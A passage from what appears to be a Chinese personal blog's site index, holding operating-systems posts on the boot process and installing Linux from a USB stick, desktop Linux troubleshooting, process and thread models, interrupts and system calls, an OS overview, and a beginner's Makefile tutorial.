字面意思是\u0026quot;拽着鞋带把自己拉起来\u0026quot;，也就是说，必须要先运行程序然后计算机才能启动，而计算机没有启动就无法运行程序，这看起来是一个很矛盾的过程。boot这个词也就来源于这句话。\n但这个看似矛盾的问题，其实通过一种非常巧妙的设计被解决了：在计算机中，总有一小段程序是“先天存在”的。这段程序并不是在开机后加载的，而是在主板制造时就已经被写入到一个特殊的存储介质中——ROM（只读存储器，现代多为 Flash）。\n计算机的主板上有一个ROM芯片，里面存储着BIOS/UEFI固件代码，在生产阶段，主板厂商会编写固件，使用烧录工具把固件写入ROM芯片，再将芯片焊接到主板上，这个过程就是刷入ROM。\n当计算机通电后，CPU 会从一个固定地址开始执行指令（地址由硬件架构严格规定好）。这个地址通常映射到主板上的固件程序（也就是在ROM中已经写好了的固件程序）：\n传统：BIOS（Basic Input/Output System） 现代：UEFI（Unified Extensible Firmware Interface） 这些固件的作用类似于“启动引导程序的引导程序”，也就是bootstraps。从CPU的角度来看，它只是做了很简单的事情：从某个地址取指令然后执行，再取下一条，但在硬件层面，这个地址会映射到固件的芯片中，从ROM中读取指令，再返回给CPU执行。\nBIOS程序首先检查，计算机硬件能否满足运行的基本条件，这叫做\u0026quot;硬件自检\u0026quot;（Power-On Self-Test），缩写为POST。如果硬件出现问题，主板会发出不同含义的蜂鸣，启动中止。如果没有问题，屏幕就会显示出CPU、内存、硬盘等信息。\n二、从固件到操作系统\n固件并不会启动操作系统，而是会去找谁来启动操作系统，也就是去选择启动设备。固件需要知道\u0026quot;下一阶段的启动程序\u0026quot;具体存放在哪一个设备。BIOS需要有一个外部储存设备的排序，排在前面的设备就是优先转交控制权的设备。这种排序叫做\u0026quot;启动顺序\u0026quot;。（可以查看上面的图3）\n固件会按照这个启动顺序，依次尝试设备。固件会读取该设备的第一个扇区（MBR，512 字节），检查末尾两个字节是否为 0x55 0xAA（启动签名）。如果匹配，就把这 512 字节加载到内存中并跳转执行——这 446 字节的引导代码就是第一阶段的引导程序（Bootloader）。常见的Linux引导程序是GNU-GRUB，其作用是提供系统选择菜单，并把控制器交给内核。\n磁盘是一种常见的外部储存设备，其分区结构是：\n+-------+-----------+-----------+-----------+-------+ | MBR | 文件系统1 | 文件系统2 | 文件系统3 | 其他分区 | +-------+-----------+-----------+-----------+-------+ MBR（主引导记录，LBA 0）是磁盘分区表的载体，跟文件系统无关——它告诉你磁盘分了几个区、每个区从哪开始到哪结束，负责引导 BIOS 找到活动分区并加载该分区的引导扇区。\n当控制器交给操作系统之后，内核会被首先加载进内存。\n以Linux系统为例，先载入/boot目录下面的kernel。内核加载成功后，第一个运行的程序是/sbin/init。它根据配置文件（Debian系统是/etc/initab）产生init进程。这是Linux启动后的第一个进程，pid进程编号为1，其他进程都是它的后代。 然后，init线程加载系统的各个模块，比如窗口程序和网络程序，直至执行/bin/login程序，跳出登录界面，等待用户输入用户名和密码。\n至此，全部启动过程完成。\n为什么安装Linux需要一个U盘？ # 同样的，对于一个新的操作系统，我们可以找到其安装程序，但是该如何运行这个程序？我们电脑硬盘上没有Linux，也没有其Bootloader，也没有Linux内核，我们目前没有这个新的操作系统，那就没法运行安装器；没有安装器，也无法安装操作系统，那该怎么办？\n解决办法其实很巧妙：借助一个“外部可启动设备”，先运行一个临时系统，而这个设备最常见的就是U盘。\n我们在上面安装流程中用到了Rufus程序，其作用就是将一个普通的U盘转换成“可启动的安装介质”。一开始我们的U盘只是一个存储设备，没有启动能力，如果直接将下载的Linux的ISO文件复制进去是没法启动的。而Rufus会把.iso文件的内容按照特定格式写入U盘，这就是镜像写入；再根据选择的系统目标类型（上面选择的是UEFI）自动配置启动所需要的东西；还会配置相关的引导程序保证能正确加载Linux内核。\n好了，在经过Rufus的洗礼后，现在U盘有三种关键信息：\nBootloader：被固件加载，负责进一步加载Linux内核 Kernel：也就是Linux内核 Live System（临时文件系统）：这是一个精简版的Linux系统，可以直接运行，提供图形界面。 Tip A live system usually means an operating system booted on a computer from a removable medium, such as a CD-ROM or USB stick, or from a network, ready to use without any installation on the usual drive (s), with auto-configuration done at run time (see Terms).\n现在我们正在插着U盘，当开机进入BIOS界面时（上图3）会看到一个以UEFI开头的选项，选择这个选项时，实际上是让主板中的UEFI固件，从U盘的EFI分区中加载并执行一个.efi启动程序（通常是GRUB）。随后，这个启动程序会加载Linux内核，进入Live System，从而进行后续的安装。\n在这个临时系统中安装Linux时，会创建分区、复制系统文件（从U盘复制到硬盘）、把Bootloader安装到硬盘上。这样，以后在启动的时候，进入BIOS界面就可以看到位于硬盘上的Linux引导程序了，就和Windows系统共存了。此后也就可以拔掉U盘了。U盘的作用，不是“存储安装文件”，而是“提供一个可以被启动的最小操作系统环境”。\n总结一下，安装 Linux 之所以需要 U 盘，是因为计算机必须先运行一个操作系统，才能安装另一个操作系统（否则无法运行安装程序），而 U 盘正是这个“最初运行环境”的提供者（可以创建一个临时操作系统来完成本地安装流程）。\n整个启动流程分层一下就是：\n第0层：ROM（主板） ↓ 第1层：UEFI / BIOS（固件） ↓ 第2层：U盘 / 硬盘（启动介质） ↓ 第3层：Bootloader（GRUB） ↓ 第4层：操作系统（Linux） 没人感觉这样的设计真的很巧妙吗？！ 后续使用 # 体验起来最大的感受是：刷新率是真的高，达到了240赫兹，光标移动、页面打开都是相当丝滑。但是出现了一些莫名奇妙的问题：\n屏幕亮度无法调节 # 使用brightnessctl命令，在命令行手动调整屏幕亮度。\n中文输入法 # 参考文章：https://zhuanlan.zhihu.com/p/2014753678230308360\n使用fcitx5.\n在vscode中发现fcitx5无法使用 # 不要在App Center中下载Code，卸载掉去官网下载.deb并在本地sudo apt install xxxxxxxx.deb。\n挂起后无法使用键盘 # 右上角电源选择Suspend，之后再唤醒即可。\n额，后来发现有时候挂起时间长了之后鼠标和键盘都没反应了，我不知道问题是什么，但是只知道一个最粗暴的方法：重启（reboot）。\n这里截自OSTEP的一个TIP：\n重启不是多难堪的事情！ 连接不上蓝牙耳机 # 选择忘记该设备再重新配对，即可。\n梯子 # 我已经有clash的配置URL,一直使用的也是clash,在ubuntu上使用可以参考这里：https://github.com/nelvko/clash-for-linux-install\n会毫无征兆地死机 # 我在使用的过程中有好几次都是突然屏幕定格、鼠标键盘都无法使用、关机键无法使用，只能长按电源键关机再重启。在重启后在终端打印刚刚的日志，看到一串红色的log：\ngale@ink:~$ journalctl -b -1 --since \u0026#34;2026-04-07 19:50:00\u0026#34; --until \u0026#34;2026-04-07 19:59:00\u0026#34; Apr 07 19:52:25 ink kernel: amdgpu 0000:06:00.0: [drm] *ERROR* dc_dmub_srv_log_diagnostic_data: DMCUB error - collecting diagnostic data 查询internet找到了一篇可能可用的方案，我不知道是否真的有效，暂且贴在这里：https://blog.hentioe.dev/posts/fix-amd-gpu-linux-random-crashes-dmcub.html\n","date":"2026/04/07","externalUrl":null,"permalink":"/os/local_linux/","section":"Operating Systems","summary":"一次本地Linux安装实录：从U盘启动到计算机启动过程的简单梳理；日常使用遇到的问题及解决办法","title":"本地物理机安装Linux","type":"os"},{"content":" 一、进程模型 # 1. 进程的定义与概念 # 从资源管理的角度来看：进程是对CPU的抽象，地址空间是对内存的抽象，文件系统是对磁盘的抽象。\n进程是具有独立功能的程序关于某个数据集合上的一次运行活动，是系统进行资源分配和调度的独立单位。\n进程是程序的一次执行过程，是正在运行程序的抽象。每一个进程有自己独立的地址空间。操作系统将单个（或有限个）物理 CPU 虚拟化为多个“虚拟 CPU”，让每个进程认为自己独占了一个 CPU。操作系统通过进程来分配CPU，通过进程来管理CPU。\n进程是动态的而程序的静态的，进程有生命周期；一个程序可以对应多个进程。\n2. 进程模型的组成 # 进程的状态 三种基本状态：运行态、就绪态、等待态\n此外还有其他状态如创建（已完成创建所必要的工作如PID但是未同意执行该进程）、终止（完成数据统计工作、资源回收）、挂起（把进程从内存转到磁盘，腾出内存空间。等待态就是阻塞，仍在内存中，不占用CPU但是还在占用内存）。\n进程的数据结构 进程控制块PCB（Process Control Block），又称进程属性，记录属性，描述进程的动态变化过程。例如在Linux中是task_struct。\n操作系统通过PCB来控制和管理进程，进程与PCB是一一对应的，PCB是系统感知进程存在的唯一标志。那么进程表就是所有进程的PCB的集合。\nPCB的主要信息：\n进程描述信息：唯一进程标识符PID；进程名（通常基于可执行文件名）；用户标识符UID；等等 进程控制信息：进程状态；优先级priority；可执行文件名；调度信息；进程的队列指针；进程的消息队列指针；等等 所拥有的资源和使用情况：虚拟地址空间现状；打开文件列表；等等 CPU现场信息：寄存器值（通用、PC、PSW、栈指针等）；指向该进程的页表指针；等等 与进程执行的相关信息就在PCB中寻找，比如在系统调用返回时，需要重新调度其他进程运行，原来被打断的进程的信息不可能一直保持在系统栈中，而是会先保存在其PCB中；而后重新运行时再从PCB中取出进程相关信息。再比如Linux中在task_struct中的mm_struct会包含页表的指针，这样在进程切换的时候调度器可以将新进程的页表地址加载在CPU中。\n进程的地址空间 操作系统给每个进程分配了一个地址空间，其布局如上图。“地址空间”是一个逻辑概念，定义了进程理论上可以访问的所有虚拟地址的范围；页表是一个物理数据结构，记录了地址空间中哪些区域已经被映射到物理内存。CPU在取指或者访问数据时，给出的是一个虚拟地址，并利用这个虚拟地址去查页表，从而去找到对应的物理内存。可以说，地址空间是对物理内存的抽象，是给CPU提供便利的。而具体的寻址还是需要页表和物理内存来实现。同时这样的抽象也为地址的合理性检查提供了便利。\n可以发现每个进程的地址空间分为两个部分：\n高地址处是内核空间，一部分是与进程相关的私有数据，如内核栈、进程控制块PCB、页表等等，这些在每个进程中是独立的，每个进程都不相同；另一部分则是内核代码和数据，这些则是每个进程共享的，具体的方式是每个进程的页表负责映射“高地址内核空间”的那些页表项，都指向物理内存中完全相同的那一页，对每个进程都一样。比如PCB就在这里。 低地址处是用户空间，包括.rodata,.bss,.data,.text段以及堆栈等等。 可以使用cat /proc/[PID]/maps来查看\n在Linux中，struct mm_struct *mm是整个进程用户态虚拟地址空间的总入口，包含页目录、虚拟内存区域链表等全部信息。如pgd_t *pgd是页目录的起始地址，在x86中会在利用这个值时保存在CR3寄存器中。\n进程队列（表） 操作系统为每一类进程建立一个或多个队列，队列元素为PCB，伴随进程状态的改变，PCB可能会从一个队列进入另一个队列。\n进程状态转换和进程控制 进程状态转换需要有控制操作，这些操作由具有特定功能的原语完成（原子操作，执行不可被中断，更准确地说是在执行的时候disable interrupt，不响应中断）。如创建、撤销、阻塞、挂起等等。\n进程何时创建？在系统初始化/由现有进程派生新进程/提交一个程序执行等等。\n创建时分配一个pid和PCB并分配地址空间。在unix中创建是通过fork()和exec()来完成的。在UNIX中fork()会以一次一页的方式复制父进程的地址空间，在Linux中利用存储管理模块中的copy-on-write(COW)的技术进行优化（注：这个技术不是来自于fork而是来自于存储管理模块）。\n二、线程模型 # 为何需要引入线程？应用的需要、开销（轻量进程）、性能。\n应用：在web服务器中如何提高效率？使用多线程。在没有线程的时候可以使用一个服务进程顺序编程、采用非阻塞I/O的有限状态机（涉及到系统调用select() poll() epoll()）\n线程是进程中的一个运行实体，进程是资源的拥有者和调度单位，线程是CPU的调度单位。每个线程都有自己独立的栈，但是都是在一个进程的地址空间中的。\n线程具体是如何实现的呢？有三种：\n用户级线程：在用户空间建立线程库，内核只能感知到进程的存在，进程通过Run-time system来管理线程；线程的切换不需要内核态特权。e.g. POSIX Pthreads。但是有一个问题就是线程的系统调用仍然需要以进程的身份进入内核，若是阻塞的调用会导致整个进程阻塞。解决办法是要么修改系统调用为非阻塞的（可能由runtime system来细节实现），要么重新实现对应系统调用的io函数。 内核级线程：内核管理所有线程，并向应用程序提供接口，以线程为基础进行调度，线程的切换需要内核支持。e.g. Windows。 混合模型：用户态线程和内核线程一一对应，在用户态创建，在内核态调度。e.g. Solaris。 三、协程coroutine # 是用户态的（没有进内核的开销）、可主动挂起和恢复的执行单元，调度由程序员控制而不是操作系统内核。\n协程运行在线程之上，当一个协程执行完成后，可以选择主动让出，让另一个协程运行在当前线程之上。协程并没有增加线程数量，只是在线程的基础之上通过分时复用的方式运行多个协程，而且协程的切换在用户态完成，切换的代价比线程从用户态到内核态的代价小很多。所以协程适用于IO密集型的任务。\n参考：https://zhuanlan.zhihu.com/p/172471249\n","date":"2026/04/04","externalUrl":null,"permalink":"/os/study_notes/3-process_thread/","section":"Operating Systems","summary":"进程=地址空间+PCB+执行上下文","title":"操作系统笔记3：进程与线程模型","type":"os"},{"content":"","date":"2026/04/04","externalUrl":null,"permalink":"/tags/%E8%99%9A%E6%8B%9F%E5%9C%B0%E5%9D%80%E7%A9%BA%E9%97%B4/","section":"","summary":"","title":"虚拟地址空间","type":"tags"},{"content":" 运行环境 # CPU与寄存器 # CPU是计算机的核心部件，负责执行指令和处理数据。寄存器是CPU内部的高速存储器，用于临时存储数据和指令。对于一个程序而言，要进行运行的话，需要先将这个程序的代码和数据从磁盘加载到内存中，然后CPU通过寄存器来访问这些数据和指令。\n寄存器可以分为用户可见寄存器和系统寄存器，前者包括\n数据寄存器(data register，又称通用寄存器)、 地址寄存器 条件码寄存器， 机器语言可以直接引用；后者包括\n程序计数器(PC:program counter)，存放下一条要执行的指令的地址 指令寄存器(IR:Instruction Register)，存放当前执行的指令 程序状态字(PSW:Program Status Word)。 其中PSW是操作系统进程上下文切换时需要保存和恢复的关键信息。\n为了实现保护，硬件提供了基本的运行机制，让处理器具有不同的运行模式，在不同模式下运行的指令集合不同，权限也不同。然而操作系统实际上只需要两种运行状态：内核态和用户态。对于x86而言支持4个特权级别，从R0到R3特权能力降低，R0-内核态，R3-用户态，大多数基于x86的处理器的操作系统只用了R0和R3两个特权级别。\n硬件为什么要提供不同的模式级别呢？ 因为在对CPU进行虚拟化的时候，既要考虑效率又要考虑操作系统能够获取控制权。如果选择最原始的Direct Exectuion，即在运行程序的时候CPU中只有这个程序的代码，这样虽然有很高的效率，但是操作系统是无法保证程序在不破坏其他东西的情况下执行的；而且也无法使其停止并转移到其他进程来实现时间共享（这个也是虚拟化CPU的关键）。因此引入user mode和kernel mode来限制用户程序的执行权限以保证操作系统的安全。这就是Limited Direct Execution。\nCPU的状态知道了，那如何进行转换呢？从用户态到内核态只有唯一途径：中断、异常/陷入机制；而从内核态到用户态，是由内核主动进行的。例如陷入指令，x86的int(Interrupt)，x86-32的sysenter/sysexit，x86-64的syscall/sysret，risc-v的ecall等等。\n中断与异常 # 这是CPU对系统发生的某个事件作出的一种反应，CPU暂停正在执行的程序，保留现场后自动转去执行相应事件的处理程序，处理完成后返回进程调度程序，选择接下来要执行的程序（有可能是刚刚被打断的程序也有可能不是）。\n中断的引入：为了支持CPU和设备之间的并行操作 异常的引入：表示CPU执行指令时本身出现的问题 类别 原因 异步/同步 返回行为 中断 来自 I/O 设备、其他硬件部件 异步 总是返回到下一条指令 陷入 有意识安排的 同步 返回到下一条指令 故障 可恢复的错误 同步 返回到当前指令 终止 不可恢复的错误 同步 不会返回 对于硬件来说会在每条指令执行结束后检测是否有中断信号，若有，\n保存相关寄存器信息：CPU转为内核态。硬件自动将当前程序计数器（PC）的值压入系统栈，以便中断处理结束后能正确返回。中断硬件将该中断触发器内容按规定编码送入PSW的相应位，称为中断码，通过交换中断向量引出中断处理程序。 识别中断源：CPU通过中断向量或中断查询的方式，确定具体是哪个设备或事件发出了中断请求。 获取入口地址：根据中断号查找中断向量表（IVT，Interrupt Vector Table），从中读出对应的中断服务程序（ISR，Interrupt Service Routine）的入口地址。 切换上下文：将CPU的指令指针（PC）设置为该入口地址，同时（如果需要）切换到内核栈，开始执行中断服务程序。 恢复现场。 接着CPU控制器转移给中断处理程序：\n保存相关寄存器信息：硬件由于成本原因只能保存2个或多个寄存器，而在软件层面需要保存完整的寄存器信息。 分析中断/异常的具体原因 执行对于的处理功能 恢复线程，返回被打断的程序（或者scheduler） 下面是硬件检查是否有中断图和中断相应流程图： ⭐中断处理流程总结 # # (xv6 的 kernelvec):\rkernelvec:\r# STEP #1 -- 保存所有通用寄存器到当前进程的内核栈\rsd ra, 0(sp)\rsd sp, 8(sp)\rsd gp, 16(sp)\r# ... sd t5, 248(sp)\rsd t6, 256(sp)\r# STEP #2 -- 调用 C 语言中断处理程序\rcall kerneltrap # (里面后续有调度逻辑)\r# STEP #3 -- 恢复所有通用寄存器\rld ra, 0(sp)\r# ...\r# STEP #4 -- 硬件返回\rsret # 硬件指令：恢复 PC 和特权级 注意，\n在中断入口时，硬件会自动查中断向量表并读出中断处理程序入口地址，自动把进程A的PC、PSW保存到内核栈，自动切换到内核栈，自动转入内核态，自动将入口地址加载到寄存器中； 接着，在中断处理之前，软件汇编会将所有的通用寄存器保存到内核栈(STEP #1)，然后调用c语言中断处理程序(STEP #2)； 在中断处理结束后， 假设继续调度该进程A，先把内核栈的通用寄存器都pop回来(STEP #3)，然后执行中断返回指令，硬件自动从内核栈上恢复PC和PSW，回到用户态(STEP #4)； 假设调度其他的进程B，调度器会把A的内核栈指针保存到A的PCB中，此时A的内核栈上仍然保存着其上下文；从新进程B的PCB中读出B之前保存的内核栈指针并将CPU的RSP切换到这个指针。然后从B的内核栈上pop出所有通用寄存器到CPU的通用寄存器中(STEP #3)，执行中断返回指令，硬件自动从内核栈上恢复PC和PSW，回到用户态(STEP #4)。 里面调度的细节是，只需要从PCB找出内核栈指针即可，进程的上下文不在PCB中，而在进程自己的内核栈上没变，只需要找到栈指针就好了。\n内容和上面文字一致，简化版 Limited Direct Execution Protocol: IA32中对中断的支持 # 实模式：IVT，存放中断服务程序的入口地址，入口地址=段地址左移4位+偏移地址，不支持CPU运行状态切换，中断处理与一般的过程调用相似。在实模式下，CPU 只有一种运行模式（相当于最高权限），没有“用户态”和“内核态”的概念。因此，当中断发生时，CPU 不需要、也不会去检查或切换 CPU 的特权级。因为不切换状态，用户程序（如果存在这个概念的话）可以直接修改 IVT，使其指向恶意代码。所以有第二种模式： 保护模式：IDT（Interrupt Descriptor Table），采用门(gate)描述符数据结构描述中断向量。 在实模式中IVT位于物理地址0x0000处，大小为1024字节，每个表项为4字节，格式为段地址:偏移地址。\n中断硬件处理过程：\n确定与中断或异常关联的向量i 通过IDTR寄存器（存放基址）找到IDT表，获得中断描述符（表中的第i项） 从GDTR寄存器获得GDT(Global Descriptor Table全局描述符表)的地址；结合中断描述符中的段选择符，在GDT表获取对应的段描述符；从该段描述符中得到中断或异常处理程序所在的段基址 特权级检查：检查是否发生了特权级的变化，如果是，则进行堆栈切换(必须使用与新的特权级相关的栈) 硬件压栈，保存上下文环境；如果异常产生了硬件出错码，也将它保存在栈中 如果是中断，清IF位 通过中断描述符中的段内偏移量和段描述符中的基地址，找到中断/异常处理程序的入口地址，执行其第一条指令 这是IA32对中断处理的流程图： 运行机制 # 系统调用 # 系统调用是操作系统内核提供给用户程序的一组特殊接口，它允许运行在用户态的程序请求内核提供的特权服务。当应用程序需要执行某些受保护的操作时（如读写文件、创建进程、分配内存等），必须通过系统调用陷入内核，由内核代表应用程序完成这些操作。\n从本质上讲，系统调用是用户空间与内核空间之间的唯一合法入口，也是操作系统为上层应用程序提供服务的桥梁。\n系统调用 C函数 库函数 定义 操作系统内核提供的接口，允许用户程序请求内核服务 C语言标准定义的函数，属于语言本身的一部分 一组预先编写好的函数的集合，可能封装多个系统调用和C函数 执行空间 内核空间 用户空间 用户空间 特权级别 内核态（Ring 0） 用户态（Ring 3） 用户态（Ring 3） 调用方式 软中断（int 0x80）或专用指令（syscall/sysenter） 普通函数调用指令（call） 普通函数调用指令（call） 参数传递 通过寄存器传递 通过栈或寄存器传递 通过栈或寄存器传递 上下文切换 需要，用户态↔内核态切换 不需要 不需要 性能开销 大（数百到数千CPU周期） 小（几个到几十个CPU周期） 小到中等（取决于内部实现） 可移植性 差，依赖特定操作系统 好，遵循C语言标准 较好，但不同平台实现可能不同 错误处理 返回-1，通过errno指示错误 返回值或特定错误码 多样化，可能使用errno或返回值 访问权限 可访问硬件和内核数据结构 只能访问进程用户空间 只能访问进程用户空间 典型示例 open(), read(), fork(), brk() strlen(), memcpy(), sin() printf(), malloc() 依赖关系 直接依赖操作系统内核 依赖C编译器 可能依赖系统调用和其他库函数 注：printf、malloc等库函数内部通常会封装系统调用（如write、brk/sbrk、read），但对外提供更友好的编程接口。\n注意，在中断向量表中添加系统调用的中断向量，只需要添加一项即可，这一项作为所有系统调用的统一入口，使得CPU进入内核态，进入中断处理程序；然后在这里面会利用系统调用的系统调用号和使用系统调用表来确定应当对应哪一个特定的系统调用。\n执行过程是：\n硬件保护现场；查中断向量表吧控制权移交给总入口程序 软件保存现场；参数保存在内核堆栈中，查系统调用表把控制权转给内核函数 执行系统调用函数 恢复现场返回用户程序 例如在Linux中陷入指令选择的中断向量表的数字是int 0x80，硬件提供了四种门但软件实际只用了陷阱门和中断门，前者允许被打断允许新的系统调用进来；而后者则会“关门”直到这个执行结束。\n在进入内核后，system_call会将系统调用号压栈，检测是否是合法的号码，如果是，通过系统调用表寻址找到对应的系统调用例程:call *SYMBOL_NAME(sys_call_table)(,%eax,4)，执行完后将返回值存入eax中，并ret_from_sys_call。\n那么在从内核返回到用户态的过程中需要做什么呢？在ret_from_sys_call中，首先会关中断避免被打断，并执行：\ncmpl $0,need_resched(%ebx)\rjne reschedule\rcmpl $0,sigpending(%ebx)\rjne signal_return 当为0时不需要重新调度继续执行；当为1时需要重新调度；如果继续执行，还会继续判断有没有未处理的信号（信号是异步处理的，处理点一般都是在内核返回到用户态之前，如果有挂起的信号，就调用信号处理函数，且要把信号全部处理完）\n假设选择调度另一个新的进程，此时不能restore all，而是会选择保存在PCB(Process Control Block)中，这是与进程一一对应的进程控制块，在Linux中就是task_struct。这个概念会在下一节中展开讲解。\n机制与策略分离的思想 # 机制解释的是What，能做什么？一般是不变的；策略解释的是How，怎么做？一般是可调的。\n比如缓存机制设计，机制是基础设施，提供通用的数据存储、访问和管理的功能，不关心具体如何使用。入读写接口、容量限制等等；而策略是在机制之上决定的具体行为规则，比如淘汰策略（LRU，LFU）、写策略（Write-Through，Write-Back）等等。\n","date":"2026/03/22","externalUrl":null,"permalink":"/os/study_notes/2-runtime_env/","section":"Operating Systems","summary":"","title":"操作系统笔记2：操作系统运行环境与运行机制","type":"os"},{"content":" 定义 # The OS takes a physical resource (such as the processor, or memory, or a disk) and transforms it into a more general, powerful, and easy-to-use virtual form of itself. Thus, we sometimes refer to the operating system as a virtual machine.\n操作系统是计算机系统中的一个系统软件，是一些程序模块的集合：\n能以尽量有效、合理的方式组织和管理计算机的软硬件资源 合理地组织计算机的工作流程，控制程序的执行并向用户提供各种服务功能 使得用户能够灵活、方便的使用计算机，使整个计算机系统能高效地运行 操作系统将一个物理资源(如处理器、内存或磁盘)，转换成一个更通用、更强大、更易用的虚拟形式，可以称其为虚拟机(virtual machine)。同时提供可供用户调用的接口(API/ standard library)来访问这些资源。而提供这些接口，也需要其能够管理好程序的执行和资源设备的分配，从而也可以看作是一个资源管理器（resource manager）。\n特征 # 并发 Concurrency 计算机系统中同时运行多个程序，宏观上：这些程序同时在执行；微观上：单CPU情况下，任何时刻只有一个程序在执行，即这些程序在CPU上轮流执行。\n共享 Sharing 操作系统和多个用户程序共享计算机系统中的资源，如CPU、内存、磁盘等。\n虚拟 Virtual 将一个物理实体映射为若干个对应的逻辑实体。\n随机性 Randomness 操作系统必须随时对以不可预测的次序发生的事件进行响应\n","date":"2026/03/21","externalUrl":null,"permalink":"/os/study_notes/1-intro/","section":"Operating Systems","summary":"定义、特征","title":"操作系统笔记1：操作系统概述","type":"os"},{"content":"","date":"2026/03/20","externalUrl":null,"permalink":"/series/operating-systemslabs/","section":"Series","summary":"","title":"Operating Systems::Labs","type":"series"},{"content":"","date":"2026/03/20","externalUrl":null,"permalink":"/os/os-kernel/part0%E5%AE%9E%E9%AA%8C%E6%A6%82%E8%A7%88/","section":"Operating Systems","summary":"os-kernel的实验介绍和测评流程","title":"操作系统实验Part0：实验概览","type":"os"},{"content":"","date":"2026/03/02","externalUrl":null,"permalink":"/tags/makefile/","section":"","summary":"","title":"Makefile","type":"tags"},{"content":" Makefile # gnu官方手册：make.pdf\n这里是我根据手册写的简略介绍：\n什么是make # 首先GNU提供了一个命令工具：make，其最大的作用就是能够自动决定一个项目需要编译/重新编译哪些源文件。每次修改某些源文件的时候，只需要在终端输入：\nmake 就能够自动执行所有必要的重新编译了。更具体的，make使用文件的元数据和最后一次更改的时间，来决定哪些文件需要更新和重新编译。\nMakefile的规则 # 我们需要一个文件来告诉make到底要做什么，也就是这里介绍的Makefile文件，它会告诉make命令该如何编译和链接各个源代码。一个简单的书写makefile的规则如下：\ntarget ... : prerequisites ... command ... ... target就是一个目标文件，能够是Object File，也能够是运行文件。还可以是要执行的某种动作的名称（A target can also be the name of an action to carry out），比如clean。\nprerequisites就是要生成那个target所须要的文件或是目标，也就是作为输入的文件，往往是多个。也有可能不需要输入文件，比如一个删除规则clean就无需这些文件，而仅仅需要下面说的command中的东西。\ncommand也就是make须要运行的命令（随意的Shell命令）。需要注意的是在每一天命令前要有一个tab。\n当一个target是文件的时候，如果它的prerequisites中有任何一个文件发生了改动，其都需要被重新编译或链接。\n一个例子 # 下面给出一个例子，假设一个工程有3个头文件，和8个C文件，我们要写一个Makefile来告诉make命令怎样编译和链接这几个文件。我们的规则是：\n假设这个工程没有编译过，那么我们的全部C文件都要编译并被链接。 假设这个工程的某几个C文件被改动，那么我们仅仅编译被改动的C文件，并链接目标程序。 假设这个工程的头文件被改变了，那么我们须要编译引用了这几个头文件的C文件，并链接目标程序。 我们的Makefile应该是以下的这个样子的： edit : main.o kbd.o command.o display.o \\ insert.o search.o files.o utils.o cc -o edit main.o kbd.o command.o display.o \\ insert.o search.o files.o utils.o main.o : main.c defs.h cc -c main.c kbd.o : kbd.c defs.h command.h cc -c kbd.c command.o : command.c defs.h command.h cc -c command.c display.o : display.c defs.h buffer.h cc -c display.c insert.o : insert.c defs.h buffer.h cc -c insert.c search.o : search.c defs.h buffer.h cc -c search.c files.o : files.c defs.h buffer.h command.h cc -c files.c utils.o : utils.c defs.h cc -c utils.c clean : rm edit main.o kbd.o command.o display.o \\ insert.o search.o files.o utils.o 在该文件夹下直接输入命令make就能够生成运行文件edit。假设要删除运行文件和全部的中间目标文件，那么，仅仅要简单地运行一下make clean就能够了。其中这个clean不依赖任何文件且仅仅是一个动作，叫做伪目标（phony targets）。\nmake是如何处理Makefile的 # 默认行为是：make完成makefile文件的第一个目标。比如对于上述例子，在执行make之后，会查找当前文件夹下的makefile文件并处理其第一个规则，也就是edit；但是在完全处理好这个规则之前，还需要处理这个目标所依赖的那些文件，在该例中就是那些object files。也就是说需要先把prerequisites处理好，再对目标进行编译或者链接。\n设置变量来简化Makefile # 在上例中edit目标需要罗列所有的目标文件两次，在未来如果要添加一个新的目标文件，就有可能忘记添两处。为了消除这个风险和简化内容可以使用变量。按照惯例，每个Makefile都应该定义一个名为objects / OBJECTS / objs / OBJS / obj / OBJ等等来作为所有目标文件名称的总和，格式为：\nobjects = main.o kbd.o command.o display.o \\ insert.o search.o files.o utils.o 那么在其他地方想放这些目标文件就只需要写：$(objects)来代替即可。 在替换之后，例子就可以简化为：\nobjects = main.o kbd.o command.o display.o \\ insert.o search.o files.o utils.o edit : $(objects) cc -o edit $(objects) main.o : main.c defs.h cc -c main.c kbd.o : kbd.c defs.h command.h cc -c kbd.c command.o : command.c defs.h command.h cc -c command.c display.o : display.c defs.h buffer.h cc -c display.c insert.o : insert.c defs.h buffer.h cc -c insert.c search.o : search.c defs.h buffer.h cc -c search.c files.o : files.c defs.h buffer.h command.h cc -c files.c utils.o : utils.c defs.h cc -c utils.c clean : rm edit $(objects) 用一个等号来定义的变量，其引用会推迟到变量被使用的时候才展开，比如：\n# 例1 A = foo B = $(A) bar # B 的值是字符串 \u0026#34;$(A) bar\u0026#34;，此时并不展开 A A = later all: @echo $(B) # 输出: later bar 而使用:=来定义的变量，会在定义时立即展开，比如：\n# 例2 A := foo B := $(A) bar # B 的值在定义时立即展开为 \u0026#34;foo bar\u0026#34; A := later # 修改 A 对 B 已无影响 all: @echo $(B) # 输出: foo bar 对于项目中的基础配置、工具路径等等优先用:=防止意外发生。\n此外，命令中加上@的作用是禁止回显，在例1中输出只有B的值，假设没有@的话输出会第一行打印echo later bar然后再打印B的值。\n使用隐式规则来简化Makefile # make可以自行推导出这样的命令：cc -c main.c -o main.o，也就是说如果需要目标文件main.o，那么make会自动把main.c添加到依赖项中，那么在书写依赖性的时候就可以把main.c忽略掉。下面是利用这个规则简化后的常见的makefile内容：\nobjects = main.o kbd.o command.o display.o \\ insert.o search.o files.o utils.o edit : $(objects) cc -o edit $(objects) main.o : defs.h kbd.o : defs.h command.h command.o : defs.h command.h display.o : defs.h buffer.h insert.o : defs.h buffer.h search.o : defs.h buffer.h files.o : defs.h buffer.h command.h utils.o : defs.h .PHONY : clean clean : -rm edit $(objects) 除此之外，还有另一种写法，上面这是对每一个目标罗列依赖项；还可以反过来，对每一个依赖性罗列目标：\nobjects = main.o kbd.o command.o display.o \\ insert.o search.o files.o utils.o edit : $(objects) cc -o edit $(objects) $(objects) : defs.h kbd.o command.o files.o : command.h display.o insert.o search.o files.o : buffer.h .PHONY : clean clean : -rm edit $(objects) 上述内容中多出的.PHONE : clean声明其是一个伪目标，意味着make不会期望真的有clean为名字的文件。假设目录里面真的有这个文件，且其已经是最新的，若是没有这个声明，就会拒绝执行clean规则。-rm告诉make即使rm命令执行出错（比如要删除的文件不存在），也要继续执行下去，从而可以友好多次执行make clean。\n","date":"2026/03/02","externalUrl":null,"permalink":"/os/makefile_tutorial/","section":"Operating Systems","summary":"","title":"makefile极简教程","type":"os"},{"content":" 9.2 Linux虚拟内存系统 # Linux 